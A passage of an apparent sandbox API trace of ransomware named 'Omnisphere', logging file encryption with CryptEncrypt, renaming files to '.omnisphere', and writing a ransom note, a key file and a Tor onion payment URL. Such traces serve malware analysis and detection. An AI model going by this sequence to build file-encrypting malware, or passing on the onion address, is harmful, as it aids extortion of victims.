pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.636] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.636] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0127.636] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x37b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.636] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.636] GetProcessHeap () returned 0x1600000 [0127.636] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x16f9830 [0127.637] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z2eyofw6gdqjzjtq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z2eyofw6gdqjzjtq.lnk.omnisphere")) returned 1 [0127.637] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk.omnisphere.id" [0127.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z2eyofw6gdqjzjtq.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.638] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.639] CloseHandle (hObject=0x3c0) returned 1 [0127.639] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.639] CloseHandle (hObject=0x288) returned 1 [0127.639] SetEndOfFile (hFile=0x28c) returned 1 [0127.639] FlushFileBuffers (hFile=0x28c) returned 1 [0127.642] CloseHandle (hObject=0x28c) returned 1 [0127.642] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z2EYOFw6GdqJzJtq.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.642] GetProcessHeap () returned 0x1600000 [0127.642] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.642] GetProcessHeap () returned 0x1600000 [0127.642] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f19b0 [0127.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f19b0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.642] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.642] GetProcessHeap () returned 0x1600000 [0127.642] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710560 [0127.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710560, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.643] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.643] GetProcessHeap () returned 0x1600000 [0127.643] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f6660 [0127.643] PathCombineW (in: pszDest=0x16f6660, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.643] GetProcessHeap () returned 0x1600000 [0127.643] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1705730 [0127.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.643] WriteFile (in: hFile=0x28c, lpBuffer=0x1705730*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1705730*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.643] CloseHandle (hObject=0x28c) returned 1 [0127.643] GetProcessHeap () returned 0x1600000 [0127.643] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.643] GetProcessHeap () returned 0x1600000 [0127.643] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.643] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.644] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.644] CloseHandle (hObject=0x28c) returned 1 [0127.644] GetProcessHeap () returned 0x1600000 [0127.644] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.644] GetProcessHeap () returned 0x1600000 [0127.644] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f67d0 | out: hHeap=0x1600000) returned 1 [0127.644] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f30d143, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f30d143, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f30d143, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ZazBvQZ_SvZ5b.flv.lnk", cAlternateFileName="ZAZBVQ~1.LNK")) returned 1 [0127.644] GetProcessHeap () returned 0x1600000 [0127.644] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16f6718 [0127.644] PathCombineW (in: pszDest=0x16f6718, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ZazBvQZ_SvZ5b.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk" [0127.644] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zazbvqz_svz5b.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.644] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=837) returned 1 [0127.644] GetTickCount () returned 0x115fd96 [0127.644] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] GetTickCount () returned 0x115fd96 [0127.645] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0127.646] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b68) returned 1 [0127.646] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.646] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.646] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0127.646] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x345, lpName=0x0) returned 0x288 [0127.646] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x345) returned 0x1480000 [0127.647] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0127.647] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0127.647] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.647] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.647] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.647] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.647] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.647] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.647] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] 